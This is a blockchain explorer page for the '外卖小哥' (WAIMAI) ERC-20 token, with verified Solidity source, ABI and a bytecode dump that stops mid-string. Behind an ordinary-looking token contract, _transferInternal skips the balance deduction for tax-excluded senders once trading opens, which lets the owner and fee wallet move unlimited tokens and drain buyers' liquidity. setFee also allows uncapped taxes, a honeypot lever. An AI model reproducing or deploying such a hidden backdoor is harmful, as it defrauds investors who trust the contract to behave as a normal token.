ETH Price: $3,444.08 (-1.06%)
Gas: 11 Gwei

Token

外卖小哥 (外卖小哥)
 

Overview

Max Total Supply

1,000,000,000 外卖小哥

Holders

90

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
9,091,867.770905509 外卖小哥

Value
$0.00
0xda4a66a1e9ec33c11b4404c1d54b00f066e887c0
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
WAIMAI

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-12-10
*/

// SPDX-License-Identifier: Unlicensed

/**
外卖, or food delivery services, have experienced tremendous growth in recent years, revolutionizing the way people enjoy meals.

Website: https://www.waimai.services
Twitter: https://twitter.com/wmxiaoge_erc
Telegram: https://t.me/wmxiaoge_erc
**/

pragma solidity 0.8.21;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract Ownable is Context {
    address private _owner;
    address private _preiousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

}

contract WAIMAI is Context, IERC20, Ownable {

    using SafeMath for uint256;

    string private constant _name = unicode"外卖小哥";
    string private constant _symbol = unicode"外卖小哥";
    uint8 private constant _decimals = 9;

    mapping(address => uint256) private _rOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromTax;
    uint256 private constant MAXINTEGER = 10 ** 30;
    uint256 private constant _totalSupply = 10 ** 9 * 10**9;
    uint256 private _rTotalSupply = (MAXINTEGER - (MAXINTEGER % _totalSupply));
    uint256 private _totalFees;
    uint256 private _redisBuyFee = 0;
    uint256 private _taxBuy = 23;
    uint256 private _redisSellFee = 0;
    uint256 private _taxSell = 23;

    uint256 private _currentRedisFee = _redisSellFee;
    uint256 private _currentTax = _taxSell;

    uint256 private _previousRedisFee = _currentRedisFee;
    uint256 private _previousTax = _currentTax;

    address payable private feeReceiver1 = payable(0x12D2EcB2D6CD442fc0D3EF14567B52A80D34F710);
    address payable private feeReceiver2 = payable(0x12D2EcB2D6CD442fc0D3EF14567B52A80D34F710);

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;

    bool private isTradingActive;
    bool private inswapping = false;
    bool private feeSwapEnabled = true;

    uint256 public maxTransactionAmount = 25 * 10 ** 6 * 10**9;
    uint256 public maxWalletSize = 25 * 10 ** 6 * 10**9;
    uint256 public feeSwpaMinimum = 10 ** 4 * 10**9;

    event MaxTxAmountUpdated(uint256 maxTransactionAmount);
    modifier lockTheSwap {
        inswapping = true;
        _;
        inswapping = false;
    }

    constructor() {

        _rOwned[_msgSender()] = _rTotalSupply;

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        _isExcludedFromTax[owner()] = true;
        _isExcludedFromTax[feeReceiver1] = true;
        _isExcludedFromTax[feeReceiver2] = true;

        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }

    function _getValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _currentRedisFee, _currentTax);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }

    function _getTValues(
        uint256 tAmount,
        uint256 redisFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotalSupply;
        uint256 tSupply = _totalSupply;
        if (rSupply < _rTotalSupply.div(_totalSupply)) return (_rTotalSupply, _totalSupply);
        return (rSupply, tSupply);
    }

    function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
        _redisBuyFee = redisFeeOnBuy;
        _redisSellFee = redisFeeOnSell;
        _taxBuy = taxFeeOnBuy;
        _taxSell = taxFeeOnSell;
    }

    function restoreAllFee() private {
        _currentRedisFee = _previousRedisFee;
        _currentTax = _previousTax;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function removeLimits() external onlyOwner {
        maxTransactionAmount = _rTotalSupply;
        maxWalletSize = _rTotalSupply;
        _redisBuyFee = 0;
        _taxBuy = 1;
        _redisSellFee = 0;
        _taxSell = 1;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (from != owner() && to != owner()) {

            //Trade start check
            if (!isTradingActive) {
                require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
            }

            require(amount <= maxTransactionAmount, "TOKEN: Max Transaction Limit");

            if(to != uniswapV2Pair) {
                require(balanceOf(to) + amount <= maxWalletSize, "TOKEN: Balance exceeds wallet size!");
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance >= feeSwpaMinimum;

            if(contractTokenBalance >= maxTransactionAmount)
            {
                contractTokenBalance = maxTransactionAmount;
            }

            if (canSwap && !inswapping && to == uniswapV2Pair && feeSwapEnabled && !_isExcludedFromTax[from] && amount > feeSwpaMinimum) {
                swapTokensForEth(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendFees(address(this).balance);
                }
            }
        }

        bool takeFee = true;

        //Transfer Tokens
        if ((_isExcludedFromTax[from] || _isExcludedFromTax[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
            takeFee = false;
        } else {

            //Set Fee for Buys
            if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
                _currentRedisFee = _redisBuyFee;
                _currentTax = _taxBuy;
            }

            //Set Fee for Sells
            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                _currentRedisFee = _redisSellFee;
                _currentTax = _taxSell;
            }

        }

        _transferBasic(from, to, amount, takeFee);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendFees(uint256 amount) private {
        feeReceiver2.transfer(amount);
    }

    function openTrading() public onlyOwner {
        isTradingActive = true;
    }
    
    function removeAllFee() private {
        if (_currentRedisFee == 0 && _currentTax == 0) return;

        _previousRedisFee = _currentRedisFee;
        _previousTax = _currentTax;

        _currentRedisFee = 0;
        _currentTax = 0;
    }

    function manualswap() external {
        require(_msgSender() == feeReceiver1 || _msgSender() == feeReceiver2);
        uint256 contractBalance = balanceOf(address(this));
        swapTokensForEth(contractBalance);
    }

    function manualsend() external {
        require(_msgSender() == feeReceiver1 || _msgSender() == feeReceiver2);
        uint256 contractETHBalance = address(this).balance;
        sendFees(contractETHBalance);
    }

    function _transferBasic(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();
        _transferInternal(sender, recipient, amount);
        if (!takeFee) restoreAllFee();
    }

    function _transferInternal(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(tAmount);
        if (!_isExcludedFromTax[sender] || !isTradingActive) {
            _rOwned[sender] = _rOwned[sender].sub(rAmount);
        }
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotalSupply = _rTotalSupply.sub(rFee);
        _totalFees = _totalFees.add(tFee);
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"maxTransactionAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"feeSwpaMinimum","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"redisFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"redisFeeOnSell","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnSell","type":"uint256"}],"name":"setFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405262000025670de0b6b3a76400006c0c9f2c9cd04674edea400000006200035d565b6200003e906c0c9f2c9cd04674edea400000006200037d565b6005555f6007819055601760088190556009829055600a819055600b829055600c819055600d91909155600e55600f80546001600160a01b03199081167312d2ecb2d6cd442fc0d3ef14567b52a80d34f7109081179092556010805490911690911790556012805461ffff60a81b1916600160b01b1790556658d15e1762800060138190556014556509184e72a000601555348015620000dc575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600554335f9081526002602090815260409182902092909255601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155815163c45a015560e01b815291519092839263c45a015592600480830193928290030181865afa15801562000196573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001bc9190620003a3565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000208573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200022e9190620003a3565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801562000279573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200029f9190620003a3565b601280546001600160a01b0319166001600160a01b039283161790555f80548216815260046020526040808220805460ff199081166001908117909255600f54851684528284208054821683179055601054909416835291208054909216179055336001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef670de0b6b3a76400006040516200034e91815260200190565b60405180910390a350620003d2565b5f826200037857634e487b7160e01b5f52601260045260245ffd5b500690565b818103818111156200039d57634e487b7160e01b5f52601160045260245ffd5b92915050565b5f60208284031215620003b4575f80fd5b81516001600160a01b0381168114620003cb575f80fd5b9392505050565b6116bd80620003e05f395ff3fe608060405260043610610134575f3560e01c80638da5cb5b116100a8578063a9059cbb1161006d578063a9059cbb14610327578063c3c8cd8014610346578063c8c8ebe41461035a578063c9567bf91461036f578063dd62ed3e14610383578063f2fde38b146103c7575f80fd5b80638da5cb5b146102c25780638f3fa860146102de57806395d89b411461013f5780639f00b4a1146102f3578063a2a957bb14610308575f80fd5b8063313ce567116100f9578063313ce5671461022b57806349bd5a5e146102465780636fc3eaec1461026557806370a082311461027b578063715018a61461029a578063751039fc146102ae575f80fd5b806306fdde031461013f578063095ea7b3146101825780631694505e146101b157806318160ddd146101e857806323b872dd1461020c575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b50604080518082018252600c81526be5a496e58d96e5b08fe593a560a01b6020820152905161017991906113d4565b60405180910390f35b34801561018d575f80fd5b506101a161019c366004611433565b6103e6565b6040519015158152602001610179565b3480156101bc575f80fd5b506011546101d0906001600160a01b031681565b6040516001600160a01b039091168152602001610179565b3480156101f3575f80fd5b50670de0b6b3a76400005b604051908152602001610179565b348015610217575f80fd5b506101a161022636600461145d565b6103fc565b348015610236575f80fd5b5060405160098152602001610179565b348015610251575f80fd5b506012546101d0906001600160a01b031681565b348015610270575f80fd5b50610279610463565b005b348015610286575f80fd5b506101fe61029536600461149b565b6104ad565b3480156102a5575f80fd5b506102796104ce565b3480156102b9575f80fd5b50610279610548565b3480156102cd575f80fd5b505f546001600160a01b03166101d0565b3480156102e9575f80fd5b506101fe60145481565b3480156102fe575f80fd5b506101fe60155481565b348015610313575f80fd5b506102796103223660046114b6565b610594565b348015610332575f80fd5b506101a1610341366004611433565b6105d1565b348015610351575f80fd5b506102796105dd565b348015610365575f80fd5b506101fe60135481565b34801561037a575f80fd5b5061027961062f565b34801561038e575f80fd5b506101fe61039d3660046114e5565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b3480156103d2575f80fd5b506102796103e136600461149b565b61066d565b5f6103f2338484610754565b5060015b92915050565b5f610408848484610877565b610459843361045485604051806060016040528060288152602001611660602891396001600160a01b038a165f9081526003602090815260408083203384529091529020549190610cfe565b610754565b5060019392505050565b600f546001600160a01b0316336001600160a01b0316148061049857506010546001600160a01b0316336001600160a01b0316145b6104a0575f80fd5b476104aa81610d36565b50565b6001600160a01b0381165f908152600260205260408120546103f690610d71565b5f546001600160a01b031633146105005760405162461bcd60e51b81526004016104f79061151c565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105715760405162461bcd60e51b81526004016104f79061151c565b60055460138190556014555f600781905560016008819055600991909155600a55565b5f546001600160a01b031633146105bd5760405162461bcd60e51b81526004016104f79061151c565b600793909355600991909155600855600a55565b5f6103f2338484610877565b600f546001600160a01b0316336001600160a01b0316148061061257506010546001600160a01b0316336001600160a01b0316145b61061a575f80fd5b5f610624306104ad565b90506104aa81610d8e565b5f546001600160a01b031633146106585760405162461bcd60e51b81526004016104f79061151c565b6012805460ff60a01b1916600160a01b179055565b5f546001600160a01b031633146106965760405162461bcd60e51b81526004016104f79061151c565b6001600160a01b0381166106fb5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104f7565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107b65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104f7565b6001600160a01b0382166108175760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104f7565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108db5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104f7565b6001600160a01b03821661093d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104f7565b5f811161099e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104f7565b5f546001600160a01b038481169116148015906109c857505f546001600160a01b03838116911614155b15610bf457601254600160a01b900460ff16610a60575f546001600160a01b03848116911614610a605760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016104f7565b601354811115610ab25760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016104f7565b6012546001600160a01b03838116911614610b385760145481610ad4846104ad565b610ade9190611565565b1115610b385760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016104f7565b5f610b42306104ad565b601554601354919250821015908210610b5b5760135491505b808015610b725750601254600160a81b900460ff16155b8015610b8b57506012546001600160a01b038581169116145b8015610ba05750601254600160b01b900460ff165b8015610bc457506001600160a01b0385165f9081526004602052604090205460ff16155b8015610bd1575060155483115b15610bf157610bdf82610d8e565b478015610bef57610bef47610d36565b505b50505b6001600160a01b0383165f9081526004602052604090205460019060ff1680610c3457506001600160a01b0383165f9081526004602052604090205460ff165b80610c6657506012546001600160a01b03858116911614801590610c6657506012546001600160a01b03848116911614155b15610c7257505f610cec565b6012546001600160a01b038581169116148015610c9d57506011546001600160a01b03848116911614155b15610caf57600754600b55600854600c555b6012546001600160a01b038481169116148015610cda57506011546001600160a01b03858116911614155b15610cec57600954600b55600a54600c555b610cf884848484610efe565b50505050565b5f8184841115610d215760405162461bcd60e51b81526004016104f791906113d4565b505f610d2d8486611578565b95945050505050565b6010546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610d6d573d5f803e3d5ffd5b5050565b5f80610d7b610f2c565b9050610d878382610f4d565b9392505050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610dd457610dd461158b565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e2b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e4f919061159f565b81600181518110610e6257610e6261158b565b6001600160a01b039283166020918202929092010152601154610e889130911684610754565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac94790610ec09085905f908690309042906004016115ba565b5f604051808303815f87803b158015610ed7575f80fd5b505af1158015610ee9573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b80610f0b57610f0b610f8e565b610f16848484610fbb565b80610cf857610cf8600d54600b55600e54600c55565b5f805f610f376110ef565b9092509050610f468282610f4d565b9250505090565b5f610d8783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061112e565b600b54158015610f9e5750600c54155b15610fa557565b600b8054600d55600c8054600e555f9182905555565b5f805f805f80610fca8761115a565b6001600160a01b038f165f90815260046020526040902054959b5093995091975095509350915060ff16158061100a5750601254600160a01b900460ff16155b1561104a576001600160a01b0389165f9081526002602052604090205461103190876111af565b6001600160a01b038a165f908152600260205260409020555b6001600160a01b0388165f9081526002602052604090205461106c90866111f0565b6001600160a01b0389165f9081526002602052604090205561108d8161124e565b6110978483611294565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516110dc91815260200190565b60405180910390a3505050505050505050565b6005545f908190670de0b6b3a76400006111098282610f4d565b82101561112557505060055492670de0b6b3a764000092509050565b90939092509050565b5f818361114e5760405162461bcd60e51b81526004016104f791906113d4565b505f610d2d8486611629565b5f805f805f805f805f6111728a600b54600c546112b8565b9250925092505f611181610f2c565b90505f805f6111928e87878761130a565b919e509c509a509598509396509194505050505091939550919395565b5f610d8783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610cfe565b5f806111fc8385611565565b905083811015610d875760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104f7565b5f611257610f2c565b90505f6112648383611356565b305f9081526002602052604090205490915061128090826111f0565b305f90815260026020526040902055505050565b6005546112a190836111af565b6005556006546112b190826111f0565b6006555050565b5f8080806112d160646112cb8989611356565b90610f4d565b90505f6112e360646112cb8a89611356565b90505f6112fa826112f48b866111af565b906111af565b9992985090965090945050505050565b5f8080806113188886611356565b90505f6113258887611356565b90505f6113328888611356565b90505f611343826112f486866111af565b939b939a50919850919650505050505050565b5f825f0361136557505f6103f6565b5f6113708385611648565b90508261137d8583611629565b14610d875760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104f7565b5f6020808352835180828501525f5b818110156113ff578581018301518582016040015282016113e3565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146104aa575f80fd5b5f8060408385031215611444575f80fd5b823561144f8161141f565b946020939093013593505050565b5f805f6060848603121561146f575f80fd5b833561147a8161141f565b9250602084013561148a8161141f565b929592945050506040919091013590565b5f602082840312156114ab575f80fd5b8135610d878161141f565b5f805f80608085870312156114c9575f80fd5b5050823594602084013594506040840135936060013592509050565b5f80604083850312156114f6575f80fd5b82356115018161141f565b915060208301356115118161141f565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b808201808211156103f6576103f6611551565b818103818111156103f6576103f6611551565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156115af575f80fd5b8151610d878161141f565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156116085784516001600160a01b0316835293830193918301916001016115e3565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261164357634e487b7160e01b5f52601260045260245ffd5b500490565b80820281158282048414176103f6576103f661155156fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6